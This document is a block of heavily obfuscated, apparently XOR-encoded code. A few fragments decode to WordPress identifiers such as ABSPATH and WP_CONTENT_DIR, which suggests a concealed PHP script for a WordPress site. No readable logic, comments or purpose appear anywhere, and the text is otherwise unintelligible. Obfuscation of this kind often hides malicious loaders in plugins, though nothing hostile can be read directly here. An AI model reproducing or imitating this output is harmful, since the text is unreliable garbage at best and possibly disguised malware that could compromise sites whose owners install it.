]YPK\PQQZ\K`ZMMQPD5OMZYVGVLLZKxsp}~sldVXM][PQ]Y\LbOMZYVG xsp}~sldEFRTLZZP[KbOMZYVGVH`INEO^FN]EX5555ZUQFIPIKXYR
]YPKMZ^S`ZL\^OZ`LKMVQX\	IVMTSYX`I55YS[R\		FLYR
]YPKMZ^S`ZL\^OZ`LKMVQXNLHJ
V]\SH5YR
]YPKNJZMFvcGZcG
cG
mkvqcG
cGYDOMZYVGBPcGKcG	PQcGcG	YcGcGVPcG	Z`Q^cG	[ZPcGKcG	cG	YQ`I^SJZcG	JcGPSP^[cG
	~cG\jcG
cG
DYS[R\		FLBDZUQFIPIKXBQcG	YpcGZ{jocG\v|cGcG
ztzfcG

ocGcGcG
zPcGcGcG	cG	YQ`IcG	SJZDZUQFIPIKXB5VYYR
]YPKZMMPMPTG]`[M\TJL[^FSJVH`INEO^FN]EX
EFRTLZZP[K
]]W	SFT[SO[QSYR
]YPKZMMPM5YR
]YPK\SPLZ5B5B5^[[KFOZ^QQPK^KVPQL55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\L
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQSVHXORLH`ZO5D5hovQQZM}SP\TLWPPT[Z\PM^KPM55V[[``WXU]
[ZYVQZ[VXM][PQ]Y\L ho`|pqkzqk`{vm~}lo~kw]]W	SFT[SO[QS	5[IYHYIJMPLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX
		a5MZKJMQ^MM^FV[[``WXU]
EFRTLZZP[K
V[[``WXU]
]]W	SFT[SO[QS
[IYHYIJMEFRTLZZP[K
[IYHYIJM5B5YJQ\KVPQZFU]`RGVTK^XN\NF[I
M5D5XGXHS]O\^VQKEFRTLZZP[K

NF[I
M5VYXGXHS]O\^CCXGXHS]O\^MZKJMQY^SLZ5GWGRPQEIHXNRM]]W	SFT[SO[QS
	NF[I
M5VYVH`INEO^FN]EXGWGRPQEIHXNRMCC]]W	SFT[SO[QSGWGRPQEIHXNRMCCVH`INEO^FN]EXGWGRPQEIHXNRM
MZKJMQY^SLZ5YS]Y^ERQVMP]]W	SFT[SO[QSGWGRPQEIHXNRMa5VYEFRTLZZP[K
YS]Y^ERQVMPa		CCYS]Y^ERQVMPdbVH`INEO^FN]EX
CCVXM][PQ]Y\LYS]Y^ERQVMPdb	MZKJMQY^SLZ5ZMQZWP	SE]]W	SFT[SO[QSYS]Y^ERQVMPdab5VYZMQZWP	SEY^SLZCCVXM][PQ]Y\LZMQZWP	SEGG]MZKJMQY^SLZ5VYVXM][PQ]Y\LZMQZWP	SEcGYcG]D55RTW
MM
I`VXM][PQ]Y\L
iEFRTLZZP[KZMQZWP	SE5VYVXM][PQ]Y\LRTW
MM
I`CCRTW
MM
I`db	CCRTW
MM
I`db
MZKJMQY^SLZ5VYEFRTLZZP[K
]]W	SFT[SO[QS
ZMQZWP	SEXE[Z\P[ZZMQZWP	SE
5ZSLZVYVXM][PQ]Y\L
VXM][PQ]Y\LD5ZMQZWP	SEXEVQYS^KZVXM][PQ]Y\LZMQZWP	SE]]W	SFT[SO[QSZMQZWP	SEGG

5VY]]W	SFT[SO[QSZMQZWP	SE]]W	SFT[SO[QS
ZMQZWP	SEG[][GZMZKJMQY^SLZ55B5ZSLZMZKJMQY^SLZ555B555VYVH`INEO^FN]EXZMQZWP	SECCVH`INEO^FN]EX
ZMQZWP	SECCEFRTLZZP[KZMQZWP	SEGGVH`INEO^FN]EX	CCVXM][PQ]Y\L
ZMQZWP	SEYS]Y^ERQVMPdbMZKJMQY^SLZ5MZKJMQZMQZWP	SE5B5YJQ\KVPQ\\X^TEGROVSRO^SJ55D5hooPLK|PQKZQKMZ\JMLVIZKMJLK^Q\WPM55KMFD5VY[ZYVQZ[]]W	SFT[SO[QS
MZKJMQ5RVPKO	
QLOSVHXORLH`ZO5VY]]W	SFT[SO[QS
RVPKO	
QLOdbMZKJMQ5VYZFU]`RGVTK^XN\RVPKO	
QLOdbY^SLZMZKJMQ5K]R
KFPJS\OQ`YLR\U[GZ	OW`OZY]]W	SFT[SO[QS^MM^F``lsjx``^MM^FVH`INEO^FN]EX	
M	L]ZERI]]W	SFT[SO[QS	5VYVXM][PQ]Y\L
K]R
KFPJS\OCCK]R
KFPJS\OMZKJMQ5K]R
KFPJS\OEFRTLZZP[KVH`INEO^FN]EX

K]R
KFPJS\O\KL\S\		^WOL
^ROL\KL\S\
5VY]]W	SFT[SO[QS
K]R
KFPJS\OCCK]R
KFPJS\OMZKJMQ5UI[
PUMKQFFQHX]T^EKEHX	P^Q^	HYKPLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L
	5LMNRX`JNQE	RT]]W	SFT[SO[QS
UI[
PUMKQFFQ]]W	SFT[SO[QS
5RWQGM^VH`INEO^FN]EX
UI[
PUMKQFFQVH`INEO^FN]EX
5ITE`NLMEFRTLZZP[K

RVPKO	
QLOdb]]W	SFT[SO[QS

HX]T^EKEHX	P^Q^	HYKEFRTLZZP[K
cQK]R
KFPJS\O5VY]]W	SFT[SO[QS
RVPKO	
QLOdbD5VYQ\`PJPK^
^EVRVPKO	
QLOdbD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
VXM][PQ]Y\L

5MZKJMQ5B55VYL]NY]EJ\QQ
ILGUVGORVPKO	
QLOdbITE`NLMD5\TWJQV`G\FXK[KRVPKO	
QLOdbHWEGJ	FWZJVY5555NNKZM`SOUHJYLELIV\ZRVPKO	
QLOdb	


5S^YTFWKYW`^RVPKO	
QLOdb5B5MZKJMQ5B55NN	JJY`T]]W	SFT[SO[QS
	RVPKO	
QLOdb555VY]]W	SFT[SO[QS
NN	JJY`TCCVH`INEO^FN]EX
NN	JJY`T
MZKJMQ55VYVXM][PQ]Y\LNN	JJY`TLMNRX`JNQE	RTY^SLZVXM][PQ]Y\LNN	JJY`TRWQGM^Y^SLZMZKJMQ5VYVXM][PQ]Y\LNN	JJY`TVH`INEO^FN]EX

Y^SLZ]]W	SFT[SO[QS

NN	JJY`TEFRTLZZP[K


RVPKO	
QLOdbY^SLZD5555VYEFRTLZZP[KEFRTLZZP[K

	VXM][PQ]Y\LNN	JJY`T


VGMUV[UGXIZMLVPQ`\PRO^MZVGMUV[UGXdbHX]T^EKEHX	P^Q^	HYKVXM][PQ]Y\L

MZKJMQ555VYQ\`PJPK^
^EVRVPKO	
QLOdbNN	JJY`TD5PTG]`[M\TJL[^FSJEFRTLZZP[K
]]W	SFT[SO[QS

5MZKJMQ5B5LOZ\JS^KZ^SZMK55VYL]NY]EJ\QQ
ILGUVGORVPKO	
QLOdbITE`NLMD5\TWJQV`G\FXK[KRVPKO	
QLOdbHWEGJ	FWZJVY5NNKZM`SOUHJYLELIV\ZRVPKO	
QLOdb
555S^YTFWKYW`^RVPKO	
QLOdb5B5MZKJMQ555B5PEGTV	PLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L
	5NN	JJY`T]]W	SFT[SO[QSVH`INEO^FN]EX

PEGTV	EFRTLZZP[K

NN	JJY`T5VYVXM][PQ]Y\L
NN	JJY`TD5PTG]`[M\TJL[^FSJEFRTLZZP[K
VXM][PQ]Y\L
	5MZKJMQ555B555VYVH`INEO^FN]EXRVPKO	
QLOdbMZKJMQ5VYKWXL`VLW	YEYYWEQVH`INEO^FN]EX
D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX
	]]W	SFT[SO[QS
	5555MZKJMQ555B5VYQ\`PJPK^
^EVRVPKO	
QLOdbNN	JJY`TD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
	VXM][PQ]Y\L
	5MZKJMQ5B5555\NGIZRIFXOHEVVUMVXM][PQ]Y\L
	5YIYO[^[IRZLMNRX`JNQE	RTcQEFRTLZZP[K
	RVPKO	
QLOdb]]W	SFT[SO[QS
cQK]R
KFPJS\OcQRWQGM^5L]NY]EJ\QQ
ILGUVGORVPKO	
QLOdbZS
[RRVOY`OM	ONN	JJY`TYIYO[^[IRZ5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\L
	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQ]VVUUNTYTRQP\O5D5\PROJK^]SZ^JKWPMVKF55KMFD5555VY[ZYVQZ[VH`INEO^FN]EX
	
MZKJMQ5RVPKO	
QLOSVHXORLH`ZO5UL]^^WVNPSNJ\LKMVQX]]W	SFT[SO[QS
		RVPKO	
QLOdbY^SLZQJSS5VY]]W	SFT[SO[QS]]W	SFT[SO[QS
	UL]^^WVNPSNJ\IU
LRQ	YOIU
LRQ	YOdbHX]T^EKEHX	P^Q^	HYKD5YVY\J`N[YVQKXZK`POKVPQ]]W	SFT[SO[QS
	5VYVXM][PQ]Y\L	YVY\J`N[Y
MZKJMQ555VYZFU]`RGVTK^XN\RVPKO	
QLOdbY^SLZD5JO[^KZ`POKVPQEFRTLZZP[K
	VH`INEO^FN]EX	EFRTLZZP[K

5MZKJMQ5B5PTG]`[M\TJL[^FSJVXM][PQ]Y\L
	]]W	SFT[SO[QS
5B5OSWHU\SXQFGZEGGFQGIVMRH555VYOSWHU\SXQFGCCVXM][PQ]Y\L
OSWHU\SXQFG

CCVXM][PQ]Y\L
OSWHU\SXQFG

CCIE[
QM[VN\`]\E]JOSWHU\SXQFGMZKJMQ5VNU
ERRYJYVH`INEO^FN]EX
VXM][PQ]Y\L XEZQ\P[ZOSWHU\SXQFG
aOSWHU\SXQFG555VYVXM][PQ]Y\L
VNU
ERRYJYCCVNU
ERRYJYMZKJMQ5VYL]NY]EJ\QQ
ILGUVGORVPKO	
QLOdb]]W	SFT[SO[QS
HX]T^EKEHX	P^Q^	HYKVH`INEO^FN]EX
OSWHU\SXQFGVH`INEO^FN]EXVNU
ERRYJYJO[^KZ`POKVPQ]]W	SFT[SO[QS
	EFRTLZZP[K	]]W	SFT[SO[QS

5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5hok^]SZ}SP\TZGOVMZ^SZMK55B5YJQ\KVPQM^TM``H]JGIYSJP5D55VY]]W	SFT[SO[QS
VXM][PQ]Y\L
MZKJMQY^SLZ55HGZUHREG[ZYVQZ[VH`INEO^FN]EX
	
VH`INEO^FN]EX
~}lo~kwVXM][PQ]Y\L	 ~}lo~kwVH`INEO^FN]EX

``yvsz``5MZKJMQVH`INEO^FN]EX
	HGZUHREGL5B5YJQ\KVPQL
[QGTTMTEMMN\X`L5D5KMFD5VY]]W	SFT[SO[QS
VXM][PQ]Y\L
CCVXM][PQ]Y\L
VH`INEO^FN]EX
MZKJMQ5VY[ZYVQZ[EFRTLZZP[K
	
MZKJMQ5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCC]]W	SFT[SO[QS
OSWHU\SXQFGMZKJMQ5TZFM^TM``H]JGIYSJP5VYTZFY^SLZMZKJMQ5ZOTMKZHSSTFNLVH`INEO^FN]EX
VXM][PQ]Y\L
 VH`INEO^FN]EX
VH`INEO^FN]EX
OSWHU\SXQFGEFRTLZZP[K
OSWHU\SXQFG5`XRRGWXGWUKHPVXM][PQ]Y\L
VXM][PQ]Y\L
OSWHU\SXQFGZOTMKZHSSTFNLcQOSWHU\SXQFG5KVIGQZ
`\VXM][PQ]Y\L
`XRRGWXGWUKHP5IL`I^QF^G]VXM][PQ]Y\L
TZF^5VYIL`I^QF^G]D5SVK
G

]UHHVQKVXM][PQ]Y\L

IL`I^QF^G]5J	MPIJ[WHWKVH`INEO^FN]EX
	IL`I^QF^G]SVK
G

]UHH55VYVH`INEO^FN]EX
J	MPIJ[WHWKEFRTLZZP[K
J	MPIJ[WHWKOSWHU\SXQFGY^SLZD5VH`INEO^FN]EX
IL`I^QF^G]5MZKJMQ5B5[ZOMPIVLVPQ\PJQK^]SZ\PRR^Q[55VYSVK
G

]UHHKVIGQZ
`\D55VXM][PQ]Y\L
IL`I^QF^G]5IL`I^QF^G]]]W	SFT[SO[QS
TZFH55VYIL`I^QF^G]D5VH`INEO^FN]EX
IL`I^QF^G]]]W	SFT[SO[QS
`XRRGWXGWUKHPSVK
G

]UHHc555R]WVFHH`UVH`INEO^FN]EX
	IL`I^QF^G]KVIGQZ
`\5VH`INEO^FN]EX
IL`I^QF^G]5VYR]WVFHH`U`XRRGWXGWUKHPPTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
]]W	SFT[SO[QSOGTNXHOK[U
	LJYLOPOGTNXHOK[U OGTNXHOK[UOGTNXHOK[U5B5MZKJMQ5BZSLZD5VXM][PQ]Y\L
IL`I^QF^G]55]]W	SFT[SO[QS
IL`I^QF^G]5B5B5SVK
G

]UHHKVIGQZ
`\5IL`I^QF^G]VH`INEO^FN]EX
TZF\
	SVK
G

]UHH5VYIL`I^QF^G]MZKJMQ55VXM][PQ]Y\L
IL`I^QF^G]]]W	SFT[SO[QS

`XRRGWXGWUKHPSVK
G

]UHHc5R]WVFHH`UEFRTLZZP[K
	IL`I^QF^G]KVIGQZ
`\5VYR]WVFHH`U`XRRGWXGWUKHPPTG]`[M\TJL[^FSJVH`INEO^FN]EX
]]W	SFT[SO[QS555VXM][PQ]Y\L
IL`I^QF^G]55B\^K\WkWMPH^]SZSKQO
]K`D5hol\MVOKrP[JSZL[ZIVMKJ^SVEZLKM^KZXF55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`DLQER`QC		NZKW`MHLKLQER`Qa	5B5B5YJQ\KVPQZS
[RRVOY`OM	O\JMMZQKYIYO[^[IRZ5D5MPK^KZOVOZSVQZYPMhooPLKkZMRL55VYVH`INEO^FN]EX
	\JMMZQKCC\JMMZQKMZKJMQ]]W	SFT[SO[QSYIYO[^[IRZcQ5VYVH`INEO^FN]EXVXM][PQ]Y\L
\JMMZQK]P
NT^Eomzx`pyylzk`|~okjmzD5MZ\S^VRKMJLK^Q\WPM5555Q\\YYJ	TELE]P
NT^EdbdbVH`INEO^FN]EX
]P
NT^EdbdbP	QXPSKU^K^YPO\RL^
LXP	QXPSKU555SX	^J[QVH`INEO^FN]EX
\JMMZQKQ\\YYJ	TELE	
5HWVSZ]]W	SFT[SO[QS
	SX	^J[Q]]W	SFT[SO[QSVH`INEO^FN]EX
SX	^J[Q`[RD5Q\\YYJ	TELEVXM][PQ]Y\L
`[Rdb5SX	^J[Q]]W	SFT[SO[QS
\JMMZQKQ\\YYJ	TELE
5555B5MZKJMQ]]W	SFT[SO[QS	\JMMZQKQ\\YYJ	TELEcQYIYO[^[IRZcQVH`INEO^FN]EX	\JMMZQKQ\\YYJ	TELE555B5MZKJMQVXM][PQ]Y\L	YIYO[^[IRZcQ cQ\JMMZQK55B5YJQ\KVPQKWXL`VLW	YEYYWEQTZF5555D5VYVXM][PQ]Y\L	]]W	SFT[SO[QS
MZKJMQKMJZ5IT`GFMXHSXZK`POKVPQEFRTLZZP[K	TZF5VYVH`INEO^FN]EX
	IT`GFMXHSEFRTLZZP[K	
IT`GFMXHSCY^SLZD5YS]Y^ERQVMPVH`INEO^FN]EXCIT`GFMXHS5VYVQKYS]Y^ERQVMPdbVQKVXM][PQ]Y\L	
	VQKYS]Y^ERQVMPdbGGMZKJMQY^SLZ5B5MZKJMQKMJZ5B5YJQ\KVPQ\NGIZRIFXOHEVVUMTZF555D5hoyPMR^KKVQX~ovLVKZRZK^5555VYEFRTLZZP[K	EFRTLZZP[K		CCVXM][PQ]Y\L	]]W	SFT[SO[QS	MZKJMQ55[HTVNELSVQKVXM][PQ]Y\L		
5IT`GFMXHSXZK`POKVPQVXM][PQ]Y\L	TZF5RURMZLVT]XJI5VYVH`INEO^FN]EX	IT`GFMXHSVXM][PQ]Y\L	
IT`GFMXHSCY^SLZD555YS]Y^ERQVMP]]W	SFT[SO[QS	CIT`GFMXHS5VYVQKYS]Y^ERQVMPdb[HTVNELSRURMZLVT]XJIVQKYS]Y^ERQVMPdb5B5555RURMZLVT]XJI5JO[^KZ`POKVPQVH`INEO^FN]EX	TZF[HTVNELSCRURMZLVT]XJIEFRTLZZP[K

555VYRURMZLVT]XJI	PTG]`[M\TJL[^FSJVXM][PQ]Y\L	]]W	SFT[SO[QS	TZF5B5YJQ\KVPQJ`JFXMVEWVZ555D5555KMFD555VY[ZYVQZ[VH`INEO^FN]EX
	
MZKJMQ5VY[ZYVQZ[EFRTLZZP[KCCVH`INEO^FN]EXho`|pqkzqk`{vmCCPMTVW]WLRWR`KWEho`|pqkzqk`{vmMZKJMQ555IYXE	[Yho`|pqkzqk`{vm5IHN\K`

WUMIYXE	[YVH`INEO^FN]EX5[INN^OUHUIEFVXM][PQ]Y\L	M	L]ZERIVXM][PQ]Y\L	5NYXYO	YWMMPLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L	
	]]W	SFT[SO[QS5Z	UTJZE^\ZQMYHRKKYPFNI]Q]XV555NLHJ
V]\SHPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[K
GG55PT
^L[JIHGW]]W	SFT[SO[QS	]]W	SFT[SO[QS		 M^TM``H]JGIYSJPY^SLZ5P\N^

YIEPT
^L[JIHGWY^SLZ EFRTLZZP[K	PT
^L[JIHGW5SJIKY	``VLLZKxsp}~sldVH`INEO^FN]EXbOMZYVG xsp}~sldVXM][PQ]Y\LbOMZYVGVXM][PQ]Y\L5\EMZXP
MXMSVXM][PQ]Y\L	]]W	SFT[SO[QS	EFRTLZZP[K
[INN^OUHUIEFLKMVQXOMUGES	[	RUIGG5FI[FKVGKQ^XU	YQ`YLR\U[GZ	OW`OZY555]]W	SFT[SO[QS5^MM^F``lsjx````evo`q~rz````lwrpo`tzf````pok`q~rz````ho`omzyvg````xj~m{`q~rz````izmlvpq``5^MM^F[INN^OUHUIEFNYXYO	YWMMP\N^

YIENLHJ
V]\SHSJIKY	``\EMZXP
MXMSHX]T^EKEHX	P^Q^	HYK55VYFI[FKVGKQ^XU	YD55VYVQKXZK`POKVPQVH`INEO^FN]EXPTG]`[M\TJL[^FSJEFRTLZZP[K	VXM][PQ]Y\L	55MZKJMQ5B5\JMMZQKVXM][PQ]Y\L
IHN\K`

WUM VXM][PQ]Y\L	IHN\K`

WUM5555VYVH`INEO^FN]EX	\JMMZQKD5PTG]`[M\TJL[^FSJVH`INEO^FN]EX	VXM][PQ]Y\L5MZKJMQ5B5\JMMZQKUH`VLVJVW
UTUZ\JMMZQK5555UI[
PUMKQFFQHX]T^EKEHX	P^Q^	HYKPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS	5LMNRX`JNQE	RT]]W	SFT[SO[QS	
UI[
PUMKQFFQVH`INEO^FN]EX
5RWQGM^VH`INEO^FN]EX		UI[
PUMKQFFQ]]W	SFT[SO[QS	5\EZJY`GNEQPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[K	
	a5JIF	T
\Z^QE\IHUVEFRTLZZP[K	VH`INEO^FN]EX	\EZJY`GNEQ]]W	SFT[SO[QS	\JMMZQK5JQFUN]YSUN
]]W	SFT[SO[QS	
JIF	T
\Z^QE\IHUVVXM][PQ]Y\L	Y^SLZ5VYVH`INEO^FN]EX	\JMMZQKLMNRX`JNQE	RTY^SLZVXM][PQ]Y\L	\JMMZQKRWQGM^Y^SLZJQFUN]YSUN
D5E\G^X	WFIPVSZ5MZKJMQ5B555\JMMZQK]]W	SFT[SO[QS	VXM][PQ]Y\L	
JIF	T
\Z^QE\IHUV5VYEFRTLZZP[K	\JMMZQKD5VQKZMSZ^IZS^QZL5ZRJM^\VTTXPHSPZRJM^\VTT
5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS		VXM][PQ]Y\L
	55MZKJMQ555BD5\JMMZQKUH`VLVJVW
UTUZ\JMMZQK5M\
ZV``FFEFRTLZZP[K	]]W	SFT[SO[QS

FI[FKVGKQ^XU	Y55ZH^NOONLI[P`FYIVH`INEO^FN]EX
\JMMZQK5VYZH^NOONLI[P`FYID55VYKWXL`VLW	YEYYWEQVXM][PQ]Y\L		D5PTG]`[M\TJL[^FSJEFRTLZZP[K		VH`INEO^FN]EX
	5MZKJMQ5B5VYQ\`PJPK^
^EVIHN\K`

WUM\JMMZQKD5PTG]`[M\TJL[^FSJEFRTLZZP[K	VH`INEO^FN]EX
	5MZKJMQ5B5555\NGIZRIFXOHEVVUMVXM][PQ]Y\L	5BZSLZD5VYQ\`PJPK^
^EVIHN\K`

WUMD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS	VXM][PQ]Y\L	5MZKJMQ5B5B5IXVKZ
OWL`GWZS
[RRVOY`OM	O\JMMZQKLMNRX`JNQE	RTcQM\
ZV``FFcQRWQGM^5VYL]NY]EJ\QQ
ILGUVGOIHN\K`

WUMIXVKZ
OWL`GWD5MZKJMQ5B5VYZH^NOONLI[P`FYIS^YTFWKYW`^IHN\K`

WUM5E\G^X	WFIPVSZ5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[K	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B555YJQ\KVPQSUUM^]SRHQMXS]N]5D5555KMFD5hooPLK|PQKZQKMZHMVKZYSJLW55VY[ZYVQZ[VH`INEO^FN]EX
	
MZKJMQ5VYERZ[YU	]IK\ERXH
M	L]ZERIMZKJMQ5VY]]W	SFT[SO[QS	]]W	SFT[SO[QSMZKJMQ5VYVH`INEO^FN]EXEFRTLZZP[KMZKJMQ5VYVLLZK`lzmizmdVH`INEO^FN]EX	bMZKJMQ5VYXZK`KM^QLVZQKEFRTLZZP[K	MZKJMQ5`VT^PS	YEHRKKYPFNI]Q]XV555VY]]W	SFT[SO[QS`VT^PS	YE`QGTGLSFXUY^^[`VT^PS	YE	
KMJZ5VYVXM][PQ]Y\L`VT^PS	YECCVXM][PQ]Y\L	`VT^PS	YED5`VT^PS	YE~}lo~kwEFRTLZZP[K	
5555VY]]W	SFT[SO[QS	`VT^PS	YE`VT^PS	YEJF[NGLJR[\IKJY^55555B5RG
V
[^YXNIPLZOO]ZZSGMJW~}lo~kwXGG	5HSZIZTT^FVEFRTLZZP[K		RG
V
[^YXNIEFRTLZZP[K	5LVWLG^[]`VT^PS	YEHSZIZTT^FV5homZ[JGlKPMZ[V^XQPLKV\W^Q[LW^TZ55IZES\
J
OM`VT^PS	YE]]W	SFT[SO[QS	RG
V
[^YXNI5YPMZ^\W^MM^F`VT^PS	YE~}lo~kwVXM][PQ]Y\L	
JF[NGLJR[\IKJY^^LGTUW^Y^PHT^D5V[GHVHVLLTN
GTUW^Y^PHT^VXM][PQ]Y\L	RG
V
[^YXNI555VYVH`INEO^FN]EX
V[GHVHVLLTN
D5P
KJUGV[YFFMFVQKEFRTLZZP[K	V[GHVHVLLTN
5VYP
KJUGV[YFFMFEFRTLZZP[K	
	CCP
KJUGV[YFFMF]]W	SFT[SO[QS	
	D555VFSMLJMN\IFZNQV[GHVHVLLTN
5\PQKVQJZYIMIE	SR[[Q
MZVNNRH\YIMIE	SR[[Q	5B5MZXVLKZM^SSP\^KVPQ55VYEFRTLZZP[K
GTUW^Y^PHT^VXM][PQ]Y\L	
RG
V
[^YXNIEFRTLZZP[K	MZKJMQ5VFSMLJMN\IFZNQV[GHVHVLLTN
5555B5B5JQLZKGTUW^Y^PHT^V[GHVHVLLTN
P
KJUGV[YFFMF555[\`KQ]TMPNFP~}lo~kw]]W	SFT[SO[QS	
HSZIZTT^FV5VY`VT^PS	YE~}lo~kwVH`INEO^FN]EX	
VH`INEO^FN]EX
[\`KQ]TMPNFPJLXGNTX^\ZXMOFUXVXS[\`KQ]TMPNFPY^SLZD5NNKZM`SOUHJYLELIV\Z[\`KQ]TMPNFPG	GZ555VYVFSMLJMN\IFZNQ[\`KQ]TMPNFPVXM][PQ]Y\L	EFRTLZZP[KPO\^\WZ`VQI^SV[^KZ[\`KQ]TMPNFPKMJZ5B5JQLZK[\`KQ]TMPNFP555VYVXM][PQ]Y\L
IZES\
J
OMVQKVXM][PQ]Y\L	IZES\
J
OM]]W	SFT[SO[QS	
G[GZMZKJMQ5VY]]W	SFT[SO[QS
LVWLG^[]EFRTLZZP[K	
VQKYVSZ\KVRZLVWLG^[]GZG\MZKJMQ555VYVXM][PQ]Y\L
LVWLG^[]D5YE`URMRVI^NGJ\]]W	SFT[SO[QS
`VT^PS	YEVXM][PQ]Y\L	

RG
V
[^YXNI ]]W	SFT[SO[QSLKMVQXEFRTLZZP[K	
	`VT^PS	YEVXM][PQ]Y\L	

RG
V
[^YXNI5VYYE`URMRVI^NGJ\VXM][PQ]Y\L	
]]W	SFT[SO[QS	
YE`URMRVI^NGJ\IZMLVPQ`\PRO^MZYE`URMRVI^NGJ\HX]T^EKEHX	P^Q^	HYKMZKJMQ5JQLZKYE`URMRVI^NGJ\5B55VYEFRTLZZP[K
LVWLG^[]D5\`FVK\[`VT^PS	YEVXM][PQ]Y\L	
PLZOO]ZZSGMJW~}lo~kwXGG555NIWFWM]UH	NE]]W	SFT[SO[QS
\`FVK\[ LKMVQXVXM][PQ]Y\L	
	\`FVK\[5GL\IPFI^HHQUTXXTOGZGY
TEGHOWPZUSHQUTXXTO	5VYNIWFWM]UH	NED55PPUJJFRLVXM][PQ]Y\L	CNIWFWM]UH	NE555GL\IPFI^HVQKPPUJJFRLdb5B5VYGL\IPFI^H]]W	SFT[SO[QS		GL\IPFI^HPTG]`[M\TJL[^FSJVXM][PQ]Y\L		VH`INEO^FN]EX		5ZSLZVYGL\IPFI^HEFRTLZZP[K		VQKYVSZ\KVRZLVWLG^[]PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS		]]W	SFT[SO[QS		5JQLZK\`FVK\[NIWFWM]UH	NEPPUJJFRLGL\IPFI^H555B5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCC]]W	SFT[SO[QS
OSWHU\SXQFGGY^GY^MZKJMQ5EXSY^]^H`\WOGK^MSXUNEKNHLVK5[INN^OUHUIEF]]W	SFT[SO[QS	M	L]ZERIVXM][PQ]Y\L		
5ZZX[ILR\WVG]UJF[NGLJR[\IKJY^VXM][PQ]Y\L
5IIH^
^
[JOXH]IT	VH`INEO^FN]EX			ZZX[ILR\WVG]U5 ZZX[ILR\WVG]U[INN^OUHUIEF]]W	SFT[SO[QS		
555JF[NGLJR[\IKJY^EFRTLZZP[K

[INN^OUHUIEF[INN^OUHUIEF]]W	SFT[SO[QS		
55EM[^R^VQEJNPSEFRTLZZP[K	]]W	SFT[SO[QS VH`INEO^FN]EX	WPRZ`JMSowo`jms`wplkVLLZK`lzmizmdVH`INEO^FN]EX		b `lzmizmd]]W	SFT[SO[QS		b5HVYIYXFOP`[ZYVQZ[VXM][PQ]Y\L		horj`osjxvq`{vm horj`osjxvq`{vmJF[NGLJR[\IKJY^VH`INEO^FN]EX
5555FJO	QO	Z
[ZYVQZ[VH`INEO^FN]EXho`osjxvq`{vm ho`osjxvq`{vmJF[NGLJR[\IKJY^VXM][PQ]Y\L		5^
[QMXI	[ZYVQZ[VH`INEO^FN]EX		 ho`|pqkzqk`{vmJF[NGLJR[\IKJY^5PN`VKOEREMQ`YLR\U[GZ	OW`OZY55EFRTLZZP[K	5^MM^F``o~kw`}	````osjxvq`}~lz	````{pr~vq````w}`}	````xo~kw`}	````~}lo~kw`}	````|pqkzqk{vm`}	````rj{vm`}	````osjxvq{vm`}	````lsjx````izmlvpq``5^MM^F]]W	SFT[SO[QS	IIH^
^
[JOXH]IT	EXSY^]^H`\WOEM[^R^VQEJNPS]]W	SFT[SO[QS	IZES\
J
OMVH`INEO^FN]EX	LVWLG^[]VXM][PQ]Y\L	~}lo~kwVH`INEO^FN]EX	^
[QMXI	VXM][PQ]Y\L	HVYIYXFOP`VXM][PQ]Y\L	
FJO	QO	Z
EFRTLZZP[K		M	L]ZERIVH`INEO^FN]EX		
HX]T^EKEHX	P^Q^	HYK55VYPN`VKOEREMD5VYVQKXZK`POKVPQEFRTLZZP[K	PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS	VXM][PQ]Y\L	5MZKJMQ5B5VYIE[
QM[VN\`]\E]JPN`VKOEREMD5\PRO^\KMZXVLKMF55PTG]`[M\TJL[^FSJVXM][PQ]Y\L	VH`INEO^FN]EX	5MZKJMQ5B5VYL]NY]EJ\QQ
ILGUVGOLVWLG^[]PN`VKOEREMD5\TWJQV`G\FXK[KLVWLG^[]HWEGJ	FWZJVY5NNKZM`SOUHJYLELIV\ZLVWLG^[]G^G
^5S^YTFWKYW`^LVWLG^[]55KU[]NNG]VQJP^`VT^PS	YE]]W	SFT[SO[QS	RG
V
[^YXNI]]W	SFT[SO[QS	PN`VKOEREMVH`INEO^FN]EX	5555KU[]NNG]VQJP^`VT^PS	YE]]W	SFT[SO[QS	RG
V
[^YXNIHX]T^EKEHX	P^Q^	HYKEFRTLZZP[K	ZLU\IJRIHZ
[[ZLU\IJR	5VQ\SJ[Z`PQ\ZLVWLG^[]5LZK`KM^QLVZQKVXM][PQ]Y\L		5555B555JQLZKHVYIYXFOP`FJO	QO	Z
^
[QMXI	5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[K	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D55B5JQMZ^\W^]SZ55B5YJQ\KVPQ]MXM\FR
]WN
KZE	HJGOW
XQLZ`555DGY^QLGGZ][ZRN[G	VJZ``GY^QL5VYVXM][PQ]Y\L	HJGOW
